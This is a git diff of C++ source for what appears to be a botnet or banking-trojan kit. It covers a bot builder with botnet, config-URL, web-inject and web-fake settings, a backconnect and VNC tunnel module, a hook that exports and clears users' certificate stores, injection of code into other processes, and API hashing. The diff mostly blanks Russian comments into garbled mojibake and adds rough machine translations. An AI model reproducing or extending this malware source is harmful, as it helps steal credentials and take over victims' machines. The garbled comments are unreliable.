} -/*Р’В Р’В Processing tab.*/ +/*  Processing tab.*/ INT_PTR CALLBACK toolBuilderProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { static WCHAR configFile[MAX_PATH]; diff --git a/source/builder/builder.vcxproj b/source/builder/builder.vcxproj index f9a8aa3..14f6893 100644 --- a/source/builder/builder.vcxproj +++ b/source/builder/builder.vcxproj @@ -1,4 +1,4 @@ -п»ї + diff --git a/source/builder/builder.vcxproj.user b/source/builder/builder.vcxproj.user index dec0c0d..695b5c7 100644 --- a/source/builder/builder.vcxproj.user +++ b/source/builder/builder.vcxproj.user @@ -1,3 +1,3 @@ -п»ї + \ No newline at end of file diff --git a/source/builder/info.cpp b/source/builder/info.cpp index 6f28857..709ada7 100644 --- a/source/builder/info.cpp +++ b/source/builder/info.cpp @@ -15,13 +15,13 @@ #include "..\common\process.h" /* - Получение структуры СЃ данными Рѕ текщем боте. + . - IN hwnd - родитель edit'Р° СЃ ключем. - OUT bs - статус бота. + IN hwnd - edit' . + OUT bs - . - Return - true - РІ случаи успеха, - false - РІ случаи ошибки. + Return - true - , + false - . */ static bool getBotStatus(HWND hwnd, BotStatus::VER1 **bs) { @@ -87,9 +87,9 @@ static bool getBotStatus(HWND hwnd, BotStatus::VER1 **bs) } /* - Получение состояние бота. + . - IN hwnd - С…СЌРЅРґР» вкладки. + IN hwnd - . */ static void refreshBotStatus(HWND hwnd) { @@ -114,9 +114,9 @@ static void refreshBotStatus(HWND hwnd) } /* - Поток удаления бота. + . - IN p - HWND вкладки. + IN p - HWND . Return - 0. */ @@ -150,7 +150,7 @@ static DWORD WINAPI removeBot(void *p) return 0; } -/*Р’В Р’В Processing tab.*/ +/*  Processing tab.*/ INT_PTR CALLBACK toolInformationProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { //Handle to remove the stream bot. diff --git a/source/builder/languages.cpp b/source/builder/languages.cpp index 892b180..f13d182 100644 --- a/source/builder/languages.cpp +++ b/source/builder/languages.cpp @@ -84,83 +84,83 @@ static const LPWSTR languageEn[] = //Russian language. static const LPWSTR languageRu[] = { - L"Недостаточно памяти.", - L"Не удалось сохранить файл.", - L"\r\nОШИБКА: %s", + L" .", + L" .", + L"\r\n: %s", BO_NAME L" Builder", - L"Общая информация", + L" ", #if(BO_CLIENT_PLATFORMS > 0) - L"Сборка", + L"", #endif - L"Опции", - - L"Текущая версия", - L"Версия: %u.%u.%u.%u\r\nВремя сборки: %s\r\nСигнатура сборки: %S", - L"Информация о запущенном боте", - L"Ключ шифрования:", - L"Информация:", - L"Обновить", - L"Удалить бота", - L"Удаление бота...", - L"Бот удален! Пожалуйста, перезагрузите компьютер для полного удаления бота.", - L"Не удалось удалить бота! Попробуйте снова, или перезагрузите компьютер.", + L"", + + L" ", + L": %u.%u.%u.%u\r\n : %s\r\n : %S", + L" ", + L" :", + L":", + L"", + L" ", + L" ...", + L" ! , .", + L" ! , .", L"-- default --", - L"Версия: %u.%u.%u.%u\r\nБотнет: %s\r\nФайл лоадера: ~\\%s", - L"Бот не найден.", + L": %u.%u.%u.%u\r\n: %s\r\n : ~\\%s", + L" .", #if(BO_CLIENT_PLATFORMS > 0) - L"Исходный файл конфигурации:", - L"Обзор...", - L"Правка...", - L"Действия", - L"Собрать конфигурацию бота", - L"Собрать бота", - L"-- файл не выбран --", - L"Не удалось запустить внешний редактор.", - L"Не удалось прочитать файл конфигурации.", - - L"Сборка бота...", - L"Загрузка конфигурации...", - L"Создание EXE-файла...", - L"Размер файла %u байт.", - L"\r\nСБОРКА УСПЕШНО ЗАВЕРШЕНА!", + L" :", + L"...", + L"...", + L"", + L" ", + L" ", + L"-- --", + L" .", + L" .", + + L" ...", + L" ...", + L" EXE-...", + L" %u .", + L"\r\n !", - L"Сборка конфигурации бота...\r\n", - L"\r\nСБОРКА УСПЕШНО ЗАВЕРШЕНА!", - L"Не удалось найти \"StaticConfig\".",\ - L"Максимальная длина значения для \"StaticConfig/botnet\" не может быть более %u символов.", - L"Не удалось найти \"StaticConfig/url_config\".", - L"Максимальная длина значения для \"StaticConfig/url_config\" не может быть более %u символов.", - L"Не удалось найти \"StaticConfig/encryption_key\".", - L"Исходный PE-файл поврежден.", - L"Не удалось найти \"DynamicConfig\".", - L"Не удалось найти \"DynamicConfig/url_loader\".", - L"Не удалось найти \"DynamicConfig/url_server\".", - L"Обнаружена ошибка в \"DynamicConfig/AdvancedConfigs\".", + L" ...\r\n", + L"\r\n !", + L" \"StaticConfig\".",\ + L" \"StaticConfig/botnet\" %u .", + L" \"StaticConfig/url_config\".", + L" \"StaticConfig/url_config\" %u .", + L" \"StaticConfig/encryption_key\".", + L" PE- .", + L" \"DynamicConfig\".", + L" \"DynamicConfig/url_loader\".", + L" \"DynamicConfig/url_server\".", + L" \"DynamicConfig/AdvancedConfigs\".", #if(BO_WININET > 0) - L"Обнаружена ошибка в \"DynamicConfig/WebFilters\".", - L"Обнаружена ошибка в \"DynamicConfig/WebDataFilters\".", + L" \"DynamicConfig/WebFilters\".", + L" \"DynamicConfig/WebDataFilters\".", #endif - L"Обнаружена ошибка в \"DynamicConfig/WebFakes\".", - L"Обнаружена ошибка в \"DynamicConfig/file_webinjects\".", - L"Сборка HTTP-инжектов...", - L"Не удалось открыть файл с HTTP-инжектами.", - L"Обнаружен HTTP-инжект с ошибкой.", + L" \"DynamicConfig/WebFakes\".", + L" \"DynamicConfig/file_webinjects\".", + L" HTTP-...", + L" HTTP-.", + L" HTTP- .", #endif - L"Язык интерфейса:", - L"Применить", - L"Для применения языка необходимо перезапустить приложение.", - L"Не удалось сохранить все настройки.", + L" :", + L"", + L" .", + L" .", }; //A list of available languages. static const Languages::LANGINFO languages[] = { {L"English", languageEn, sizeof(languageEn) / sizeof(LPWSTR), 1033}, - {L"Русский (Russian)", languageRu, sizeof(languageRu) / sizeof(LPWSTR), 1049} + {L" (Russian)", languageRu, sizeof(languageRu) / sizeof(LPWSTR), 1049} }; //Of the current language. diff --git a/source/builder/languages.h b/source/builder/languages.h index f4e6cc3..77bd872 100644 --- a/source/builder/languages.h +++ b/source/builder/languages.h @@ -89,46 +89,46 @@ namespace Languages }; /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Получение строки для id. + id. IN id - ID. - Return - строка, или NULL. + Return - , NULL. */ LPWSTR get(DWORD id); /* - Сохраняет код языка в качастве языка по умолчанию. + . - IN langId - код языка. + IN langId - . - Return - true - если успешно сохранено, - false - в случаи ошибки. + Return - true - , + false - . */ bool setDefaultLangId(WORD langId); /* - Получение информации о языке. + . - IN index - индекс языка. + IN index - . - Return - информация о языке, или NULL если index привысил кол. языков. + Return - , NULL index . . */ const LANGINFO *getLangInfo(WORD index); - /*В В В В Obtaining information about the current language. + /*    Obtaining information about the current language. -В В В В Return - language. -В В */ +    Return - language. +  */ const Languages::LANGINFO *getCurLangInfo(void); }; diff --git a/source/builder/main.cpp b/source/builder/main.cpp index 8917a3b..43c8162 100644 --- a/source/builder/main.cpp +++ b/source/builder/main.cpp @@ -51,10 +51,10 @@ static BYTE lastTool = 0xFF; #define toolsCount (sizeof(toolsList) / sizeof(TOOLDATA)) /* - Загрузка вкладки. + . - IN hwnd - родитель. - IN index - индекс вкладки. + IN hwnd - . + IN index - . */ static void loadTool(HWND hwnd, BYTE index) { @@ -70,7 +70,7 @@ static void loadTool(HWND hwnd, BYTE index) } /* - Функция главного РѕРєРЅР°. + . */ static INT_PTR CALLBACK mainDialogProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { @@ -139,7 +139,7 @@ static INT_PTR CALLBACK mainDialogProc(HWND hwnd, UINT msg, WPARAM wParam, LPARA } #endif -/*Р’В Р’В Entry point.*/ +/*  Entry point.*/ void WINAPI entryPoint(void) { //Initialization data of the GUI. diff --git a/source/builder/main.h b/source/builder/main.h index 5e6d127..5f42e4b 100644 --- a/source/builder/main.h +++ b/source/builder/main.h @@ -1,12 +1,12 @@ /* - Точка РІС…РѕРґР°, Р С‘ главный диалог. + , . */ #pragma once -/*Р’В Р’В Message sent by the tabs on the possibility to close the application now. +/*  Message sent by the tabs on the possibility to close the application now. -Р’В Р’В Return - true - the application can be closed -Р’В Р’В Р’В Р’В Р’В Р’В Р’В Р’В Р’В Р’В Р’В false - the application can not be closed.*/ +  Return - true - the application can be closed +           false - the application can not be closed.*/ #define WM_CANCLOSE (WM_USER + 1) //Global variables. diff --git a/source/builder/settings.cpp b/source/builder/settings.cpp index 98bf134..536297a 100644 --- a/source/builder/settings.cpp +++ b/source/builder/settings.cpp @@ -5,7 +5,7 @@ #include "main.h" #include "languages.h" -/*Р’В Р’В Processing tab.*/ +/*  Processing tab.*/ INT_PTR CALLBACK toolSettingsProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { switch(msg) diff --git a/source/builder/tools.h b/source/builder/tools.h index 371f4dd..dee64ba 100644 --- a/source/builder/tools.h +++ b/source/builder/tools.h @@ -1,28 +1,28 @@ /* - Различные инструмененты. + . */ #pragma once /* - Вывод сообшения РІ multilne edit control. + multilne edit control. - IN hwnd - С…СЌРЅРґР» edit-РѕРєРЅР°. - IN format - формат сообшение согласно sprintf. - IN ... - аргументы сообщения. + IN hwnd - edit-. + IN format - sprintf. + IN ... - . */ void writeOutput(HWND hwnd, LPWSTR format, ...); /* - Вывод ошибки РІ multilne edit control. + multilne edit control. - IN hwnd - С…СЌРЅРґР» edit-РѕРєРЅР°. - IN format - формат сообшение согласно sprintf. - IN ... - аргументы сообщения. + IN hwnd - edit-. + IN format - sprintf. + IN ... - . */ void writeOutputError(HWND hwnd, LPWSTR format, ...); -/*Р’В Р’В Checks whether the stream ended. +/*  Checks whether the stream ended. -Р’В Р’В IN OUT subThread - pointer to hegdl flow. If, returned with the handle == NULL, then the flow ended.*/ +  IN OUT subThread - pointer to hegdl flow. If, returned with the handle == NULL, then the flow ended.*/ void closeThreadIfFinsinhed(HANDLE *subThread); diff --git a/source/buildtools/buildtools.vcxproj b/source/buildtools/buildtools.vcxproj index 4088e13..3e940bc 100644 --- a/source/buildtools/buildtools.vcxproj +++ b/source/buildtools/buildtools.vcxproj @@ -1,4 +1,4 @@ -п»ї + diff --git a/source/buildtools/buildtools.vcxproj.user b/source/buildtools/buildtools.vcxproj.user index dec0c0d..695b5c7 100644 --- a/source/buildtools/buildtools.vcxproj.user +++ b/source/buildtools/buildtools.vcxproj.user @@ -1,3 +1,3 @@ -п»ї + \ No newline at end of file diff --git a/source/buildtools/core.cpp b/source/buildtools/core.cpp index f1ee944..555767a 100644 --- a/source/buildtools/core.cpp +++ b/source/buildtools/core.cpp @@ -62,7 +62,7 @@ void Core::showLogo(void) } //////////////////////////////////////////////////// //////////////////////////////////////////////// -//Р’В Entry point. +// Entry point. //////////////////////////////////////////////////// //////////////////////////////////////////////// void WINAPI entryPoint(void) { diff --git a/source/buildtools/core.h b/source/buildtools/core.h index 550c01d..ac0fa41 100644 --- a/source/buildtools/core.h +++ b/source/buildtools/core.h @@ -1,5 +1,5 @@ /* - Ядро. + . */ #pragma once @@ -19,16 +19,16 @@ extern COREDATA coreData; namespace Core { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); - /*В В В В Display of the logo. -В В */ + /*    Display of the logo. +  */ void showLogo(void); }; diff --git a/source/buildtools/language.h b/source/buildtools/language.h index 72fc3ee..86b9490 100644 --- a/source/buildtools/language.h +++ b/source/buildtools/language.h @@ -1,16 +1,16 @@ -/*Р’В Р’В Language.*/ +/*  Language.*/ #pragma once #include "..\common\cui[en].h" //////////////////////////////////////////////////// //////////////////////////////////////////////// -//Р’В Logo. +// Logo. //////////////////////////////////////////////////// //////////////////////////////////////////////// #define lng_logo BO_NAME L" build tools.\nBuild time: " BO_BUILDTIME L".\n\n" //////////////////////////////////////////////////// //////////////////////////////////////////////// -//Р’В Commands and options. +// Commands and options. //////////////////////////////////////////////////// //////////////////////////////////////////////// #define lng_command_ror13 L"ror13" diff --git a/source/buildtools/peinfo.cpp b/source/buildtools/peinfo.cpp index 1251975..d561034 100644 --- a/source/buildtools/peinfo.cpp +++ b/source/buildtools/peinfo.cpp @@ -1,4 +1,4 @@ -/*Р’В Р’В Getting information from the PE-file.*/ +/*  Getting information from the PE-file.*/ #include #include "defines.h" diff --git a/source/buildtools/ror13.cpp b/source/buildtools/ror13.cpp index 1dc1865..cc22666 100644 --- a/source/buildtools/ror13.cpp +++ b/source/buildtools/ror13.cpp @@ -1,4 +1,4 @@ -/*Р’В Р’В ROR13 hash, the main purpose - poulchenie hash WinAPI-functions.*/ +/*  ROR13 hash, the main purpose - poulchenie hash WinAPI-functions.*/ #include #include "defines.h" diff --git a/source/client/backconnectbot.cpp b/source/client/backconnectbot.cpp index 760d438..8ad578e 100644 --- a/source/client/backconnectbot.cpp +++ b/source/client/backconnectbot.cpp @@ -21,13 +21,13 @@ #if(BO_BCSERVER_PLATFORMS > 0) /* - Проверяет, ялвется список серверов валидным. + , . - IN list - список. - IN listSize - размер списка. + IN list - . + IN listSize - . - Return - true - список валидный, - false - список не валидный. + Return - true - , + false - . */ static bool isValidList(const LPSTR list, DWORD listSize) { @@ -55,7 +55,7 @@ typedef struct #define SERVICE_PORT_VNC ((DWORD)-2) //VNC. /* - Поток для для создания тунеля. + . IN p - BCTUNNELDATA. @@ -134,7 +134,7 @@ static DWORD WINAPI procTunnel(void *p) } /* - Поток для для создания бэконекта. + . IN p - BCDATA. @@ -240,9 +240,9 @@ static DWORD WINAPI procConnection(void *p) return 0; } -/*В В To create a stream for monitoring bekonektov. +/*  To create a stream for monitoring bekonektov. -В В Return - 0.*/ +  Return - 0.*/ static DWORD WINAPI proc(void *) { CoreHook::disableFileHookerForCurrentThread(true); diff --git a/source/client/backconnectbot.h b/source/client/backconnectbot.h index df5fb3e..e6c47f9 100644 --- a/source/client/backconnectbot.h +++ b/source/client/backconnectbot.h @@ -1,5 +1,5 @@ /* - Сервер бекконекта. + . */ #pragma once @@ -10,46 +10,46 @@ namespace BackconnectBot { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Добавление постоянного подключения. + . - IN servicePort - порт или название сервиса. - IN server - сервер. - IN serverPort - порт сервера. + IN servicePort - . + IN server - . + IN serverPort - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _addStatic(LPSTR servicePort, LPSTR server, LPSTR serverPort); /* - Удаление постоянного подключения. + . - IN servicePort - порт или название сервиса. Может содержать маски '*' или '?'. - IN server - сервер. Может содержать маски '*' или '?'. - IN serverPort - порт сервера. Может содержать маски '*' или '?'. + IN servicePort - . '*' '?'. + IN server - . '*' '?'. + IN serverPort - . '*' '?'. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _removeStatic(LPSTR servicePort, LPSTR server, LPSTR serverPort); - /*В В В В Thread creation. + /*    Thread creation. -В В В В IN OUT group - the group potokok to which will belong to the flow of service. -В В В В  -В В В В Return - true - if successful, -В В В В В В В В В В В В В В В В В В В false - if an error occurs. -В В */ +    IN OUT group - the group potokok to which will belong to the flow of service. +     +    Return - true - if successful, +                   false - if an error occurs. +  */ bool _create(ThreadsGroup::GROUP *group); }; #endif diff --git a/source/client/certstorehook.cpp b/source/client/certstorehook.cpp index 067df79..409bdf6 100644 --- a/source/client/certstorehook.cpp +++ b/source/client/certstorehook.cpp @@ -16,9 +16,9 @@ #include "..\common\debug.h" /* - Получение текущего имени пользователя для пути сертификата. + . - OUT buffer - буфер для для имени, размером MAX_PATH. + OUT buffer - , MAX_PATH. */ static void getUserNameForPath(LPWSTR buffer) { @@ -35,13 +35,13 @@ static void getUserNameForPath(LPWSTR buffer) } /* - Экспорт хранилища в отчет. + . - IN storeName - имя хранилища. + IN storeName - . - Return - true - если хранилище успещно прочитано и записано в отчет, если сертифкатов > 0. - true - если хранилище успещно прочитано и если сертифкатов == 0. - false - в случаи ошибки. + Return - true - , > 0. + true - == 0. + false - . */ static bool exportStore(LPWSTR storeName) { @@ -100,12 +100,12 @@ static bool exportStore(LPWSTR storeName) return retVal; } -/*В В Cleaning store. +/*  Cleaning store. -В В IN storeName - name of the store. +  IN storeName - name of the store. -В В Return - true - if successful, -В В В В В В В В В В В В В В В В В false - if an error occurs.*/ +  Return - true - if successful, +                 false - if an error occurs.*/ static bool clearStore(LPWSTR storeName) { WDEBUG1(WDDT_INFO, "Clearing %s", storeName); diff --git a/source/client/certstorehook.h b/source/client/certstorehook.h index adb62a4..7fbecc7 100644 --- a/source/client/certstorehook.h +++ b/source/client/certstorehook.h @@ -1,38 +1,38 @@ /* - Перехват CertStore. + CertStore. */ #pragma once namespace CertStoreHook { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Получение сертфикатов из текущего MY-хранилища пользователя. + MY- . - Return - true - если хранилище успещно прочитано и записано в отчет, если сертифкатов > 0. - true - если хранилище успещно прочитано и если сертифкатов == 0. - false - в случаи ошибки. + Return - true - , > 0. + true - == 0. + false - . */ bool _exportMy(void); /* - Удаление сертфикатов из текущего MY-хранилища пользователя. + MY- . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _clearMy(void); - /*В В В В Interceptor PFXImportCertStore. -В В */ + /*    Interceptor PFXImportCertStore. +  */ void * WINAPI _hookerPfxImportCertStore(CRYPT_DATA_BLOB *data, LPCWSTR password, DWORD flags); }; diff --git a/source/client/client.vcxproj b/source/client/client.vcxproj index 5fccb45..05bc8ff 100644 --- a/source/client/client.vcxproj +++ b/source/client/client.vcxproj @@ -1,4 +1,4 @@ -п»ї + diff --git a/source/client/client.vcxproj.user b/source/client/client.vcxproj.user index 7070522..695b5c7 100644 --- a/source/client/client.vcxproj.user +++ b/source/client/client.vcxproj.user @@ -1,3 +1,3 @@ -п»ї + \ No newline at end of file diff --git a/source/client/core.cpp b/source/client/core.cpp index d75d992..8652796 100644 --- a/source/client/core.cpp +++ b/source/client/core.cpp @@ -54,7 +54,7 @@ static ThreadsGroup::GROUP servcieThreads; extern const char baseConfigSource[sizeof(BASECONFIG)]; //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В List of processes. +// List of processes. //////////////////////////////////////////////////// //////////////////////////////////////////////// typedef struct @@ -79,14 +79,14 @@ const static PROCESSRIGHTS processRights[] = }; //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Utilities. +// Utilities. //////////////////////////////////////////////////// //////////////////////////////////////////////// #if(BO_DEBUG == 2) static HANDLE debugServer; //Hadley flow debyuga. /* - Функция запуска дебюг-сервера. + -. Return - 0. */ @@ -99,7 +99,7 @@ const static PROCESSRIGHTS processRights[] = #endif /* - Аналог CWA(kernel32, GetProcAddress). + CWA(kernel32, GetProcAddress). */ static void *__GetProcAddress(HMODULE module, LPSTR name) { @@ -126,16 +126,16 @@ static void *__GetProcAddress(HMODULE module, LPSTR name) } /* - Копирование данных в этот модуль в другом процессе. + . - IN process - процесс для изменения. - IN image - адрес этого модуля в process. - IN curVa - текущий VA данных для копирования. - IN data - данные. - IN dataSize - размер данных для копирования. + IN process - . + IN image - process. + IN curVa - VA . + IN data - . + IN dataSize - . - Return - true - в случаи успеха, - false - в случаи провала. + Return - true - , + false - . */ static bool copyDataToProcess(HANDLE process, void *image, void *curVa, void *data, DWORD dataSize) { @@ -144,15 +144,15 @@ static bool copyDataToProcess(HANDLE process, void *image, void *curVa, void *da } /* - Копирование хэндла в этот модуль в другом процессе. + . - IN process - процесс для изменения. - IN image - адрес этого модуля в process. - IN curVa - текущий VA хэндла для копирования. - IN handle - хэндл для копирования. + IN process - . + IN image - process. + IN curVa - VA . + IN handle - . - Return - true - в случаи успеха, - false - в случаи провала. + Return - true - , + false - . */ static bool copyHandleToProcess(HANDLE process, void *image, void *curVa, HANDLE handle) { @@ -168,9 +168,9 @@ static bool copyHandleToProcess(HANDLE process, void *image, void *curVa, HANDLE } /* - Получение хэндла kernel32.dll. + kernel32.dll. - Return - хэндл. + Return - . */ HMODULE _getKernel32Handle(void) { @@ -215,12 +215,12 @@ HMODULE _getKernel32Handle(void) //////////////////////////////////////////////////// //////////////////////////////////////////////// /* - Загрузка модулей и функций. + . - IN flags - флаги INITF_*. + IN flags - INITF_*. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ static bool __inline initLoadModules(DWORD flags) { @@ -286,12 +286,12 @@ static bool __inline initLoadModules(DWORD flags) } /* - Основне данные OS. + OS. - IN flags - флаги INITF_*. + IN flags - INITF_*. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ static bool __inline initOsBasic(DWORD flags) { @@ -347,12 +347,12 @@ static bool __inline initOsBasic(DWORD flags) } /* - Создание объектов. + . - IN flags - флаги INITF_*. + IN flags - INITF_*. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ static bool __inline initHandles(DWORD flags) { @@ -379,10 +379,10 @@ static bool __inline initHandles(DWORD flags) /* These tekschego user. - IN flags - флаги INITF_*. + IN flags - INITF_*. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ static bool __inline initUserData(DWORD flags) { @@ -402,12 +402,12 @@ static bool __inline initUserData(DWORD flags) } /* - Получение путей. + . - IN flags - флаги INITF_*. + IN flags - INITF_*. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ static bool __inline initPaths(DWORD flags) { @@ -440,12 +440,12 @@ static bool __inline initPaths(DWORD flags) } /* - Получение данных базовой конфигурации. + . - IN flags - флаги INITF_*. + IN flags - INITF_*. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ static bool __inline initBaseConfig(DWORD flags) { @@ -461,10 +461,10 @@ static bool __inline initBaseConfig(DWORD flags) /* Creation of object names. - IN flags - флаги INITF_*. + IN flags - INITF_*. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ static bool __inline initObjects(DWORD flags) { @@ -483,12 +483,12 @@ static bool __inline initObjects(DWORD flags) } /* - Получение прав процесса CDPF_RIGHT_*. + CDPF_RIGHT_*. - IN flags - флаги INITF_*. + IN flags - INITF_*. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ static bool __inline initProcessRights(DWORD flags) { @@ -539,10 +539,10 @@ static bool __inline initProcessRights(DWORD flags) /* Install hooks. - IN flags - флаги INITF_*. + IN flags - INITF_*. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ static bool __inline initHooks(DWORD flags) { @@ -602,7 +602,7 @@ static bool __inline initHooks(DWORD flags) bool Core::init(DWORD flags) { if((flags & INITF_INJECT_START) == 0)coreData.proccessFlags = 0; - //else coreData.proccessFlags = 0, / / ​​updated rodetelem. + //else coreData.proccessFlags = 0, / / ​​updated rodetelem. //Obtain the handles of the main modules (dll). if(!initLoadModules(flags))return false; @@ -709,9 +709,9 @@ void Core::initHttpUserAgent(void) if(coreData.httpUserAgent == NULL) { /* - В приципе есть шанс что функция будет вызвана из нескольких потоков одновременно, - и произойдет утечка памяти. Но т.к. это не важно в данный момент, не защищаю это вызов - крит. секцией. Т.к. все что мы потеряем это утечку менее, чем в 1кб. + , + . .. , + . . .. , 1. */ coreData.httpUserAgent = Wininet::_GetIEUserAgent(); } @@ -1117,7 +1117,7 @@ bool Core::showInfoBox(BYTE type) } //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Entry point. +// Entry point. //////////////////////////////////////////////////// //////////////////////////////////////////////// static bool defaultModuleEntry(void) @@ -1238,14 +1238,14 @@ DWORD WINAPI Core::_injectEntryForThreadEntry(void *) return 0; } -/*В В Starting the process as a bot, depending on ovreleya in either installer or mode -В В loading. +/*  Starting the process as a bot, depending on ovreleya in either installer or mode +  loading. -В В IN forceUpdate - to force the update does not zavismo on the version (only installer). -В В IN removeItself - samoudalnie after completion of the process (only installer). +  IN forceUpdate - to force the update does not zavismo on the version (only installer). +  IN removeItself - samoudalnie after completion of the process (only installer). -В В Return - true - if successful, -В В В В В В В В В В В В В В В В В В В В false - if an error occurs.*/ +  Return - true - if successful, +                    false - if an error occurs.*/ static bool runAsBot(bool forceUpdate, bool removeItself) { bool ok = false; diff --git a/source/client/core.h b/source/client/core.h index 7e15958..c089094 100644 --- a/source/client/core.h +++ b/source/client/core.h @@ -1,10 +1,10 @@ /* - Ядро клиента, основные инициализации. + , . - Примечание кастельно coreData.modules.kernel32: - В приципе при инжекте кода в другие процессы библиотека kernel32.dll может быть не загружена, - и инжект обламается. Однако по текщем результатам теста, для пользователских процессов - kernel32.dll загружается вместе с ntdll.dll, и беспокоиться об этой проблеме не стоит. + coreData.modules.kernel32: + kernel32.dll , + . , + kernel32.dll ntdll.dll, . */ #pragma once @@ -49,9 +49,9 @@ typedef struct typedef struct { //////////////////////////////////////////////////// ////////////////////////////////////////////// - //В 'On_all' - updated at every startup. - //В 'On_copy' - are updated in the copy module. And just as on_start. - //В 'On_start' - change only if nomarlnom start, otherwise saved from the module into the module. + // 'On_all' - updated at every startup. + // 'On_copy' - are updated in the copy module. And just as on_start. + // 'On_start' - change only if nomarlnom start, otherwise saved from the module into the module. //////////////////////////////////////////////////// ////////////////////////////////////////////// /*on_copy*/DWORD proccessFlags; //Personal data of the process. @@ -169,52 +169,52 @@ namespace Core enum { /* - Процесс под WOW64, флаг может присутвовать только при инциализации с INITF_NORMAL_START. + WOW64, INITF_NORMAL_START. */ # if !defined _WIN64 CDPF_WOW64 = 0x001, # endif /* - Флаг актуален только для использования в первичном процессе бота. Указывает не вызывать - ExitProcess() в первичном потоке бота, а вместо этого вызвать Sleep(INIFINITE). + . + ExitProcess() , Sleep(INIFINITE). */ CDPF_NO_EXITPROCESS = 0x002, /* - Процесс под VNC-сервером. + VNC-. */ # if(BO_VNC > 0) CDPF_VNC_ACTIVE = 0x004, # endif /* - Запретить создание процессов. + . */ CDPF_DISABLE_CREATEPROCESS = 0x010, /* - Права процесса на функции TCP сервера. + TCP . */ CDPF_RIGHT_TCP_SERVER = 0x020, /* - Права процесса на устанвоку соединений с сервером. + . */ CDPF_RIGHT_SERVER_SESSION = 0x040, /* - Права процесса на отслеживание цельности бота. + . */ CDPF_RIGHT_CONTROL = 0x080, /* - Права процесса на бэкконект. + . */ CDPF_RIGHT_BACKCONNECT_SESSION = 0x100, /* - Все права. + . */ CDPF_RIGHT_ALL = CDPF_RIGHT_TCP_SERVER | CDPF_RIGHT_SERVER_SESSION | @@ -222,7 +222,7 @@ namespace Core CDPF_RIGHT_BACKCONNECT_SESSION, /* - Маска, которая должна наследоваться от процесса к процессу. + , . */ CDPT_INHERITABLE_MASK = CDPF_DISABLE_CREATEPROCESS # if(BO_VNC > 0) @@ -268,216 +268,216 @@ namespace Core }; /* - Инициализация. + . - IN flags - флаги INITF_*. Флаги INITF_HOOKS_FOR_*, не могут использоваться одновременно. + IN flags - INITF_*. INITF_HOOKS_FOR_*, . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . - ЗАМЕЧЕНИЕ: uninit() должена вызываться не зависимо от возращаемого значение этой функции. + : uninit() . */ bool init(DWORD flags); /* - Деинициализация. + . */ void uninit(void); /* - Инициализация coreData.httpUserAgent. Необходимо вызывать эту функцию перед доступом к + coreData.httpUserAgent. coreData.httpUserAgent. */ void initHttpUserAgent(void); /* - Устанвока значений по умолчанию для Wininet::CALLURLDATA. + Wininet::CALLURLDATA. - OUT cud - структура для обработки. + OUT cud - . */ void initDefaultCallUrlData(Wininet::CALLURLDATA *cud); /* - Создание уникального мютекса процесса. + . - IN pid - ID процесса. + IN pid - ID . - Return - хэндл мютекса в случаи успеха, - NULL - если мютекс уже сущетвует, или произошла ошибка. + Return - , + NULL - , . */ HANDLE createMutexOfProcess(DWORD pid); /* - Генерация имени объекта ядра. + . IN id - OBJECT_ID_*. - OUT buffer - имя (буфер не менее 50 символов). + OUT buffer - ( 50 ). IN objectNamespace - MalwareTools::KON_*. */ void generateObjectName(DWORD id, LPWSTR buffer, BYTE objectNamespace); /* - Ожидание освобождения мютекса и его захват. + . IN id - OBJECT_ID_*. IN objectNamespace - MalwareTools::KON_*. - Return - хэндл мютекса. + Return - . - Примечание: Для освобождения мютекса необходимо вызвать Sync::_freeMutex(). + : Sync::_freeMutex(). */ HANDLE waitForMutexOfObject(DWORD id, BYTE objectNamespace); /* - Инициализация новой копии модуля. + . - IN process - процесс. - IN processMutex - мютекс нового процесса. - IN proccessFlags - данные для нового coreData.proccessFlags, текщие данные наследуются по маске + IN process - . + IN processMutex - . + IN proccessFlags - coreData.proccessFlags, CDPT_INHERITABLE_MASK. - Return - адрес модуля в процессе process в случаи успеха, - NULL - в случаи ошибки. + Return - process , + NULL - . */ void *initNewModule(HANDLE process, HANDLE processMutex, DWORD proccessFlags); /* - Отключает отоброжение сообщений об различных ошибках для текущего процесса. + . - Return - предыдыдущие флаги ошибок SEM_*. + Return - SEM_*. */ DWORD disableErrorMessages(void); /* - Подмена перехваченой функции на оригинальну, если такая импортируется через coreData. + , coreData. - IN oldFunction - адрес текущей функции. - IN newFunction - адрес новой функции. + IN oldFunction - . + IN newFunction - . */ void replaceFunction(const void *oldFunction, const void *newFunction); /* - Функция для проверки, что текщее ядро является актвиным и должно предоставлять функционал. - (напаример если это бот быдет обнволен более новой версией,ядро будет не актвино). + , . + ( , ). - Return - true - актвино, - false - не актвино. + Return - true - , + false - . */ bool isActive(void); /* - Уничтожение функции, путем забивания ее произволными символами. + , . - IN p - функция. + IN p - . */ void _destroyFunction(void *p); /* - Генерация индефикатора компьютера. + . - OUT buf - буфер для индефикатора, как минимум 60 символов. + OUT buf - , 60 . */ void _generateBotId(LPWSTR buf); /* - Получение 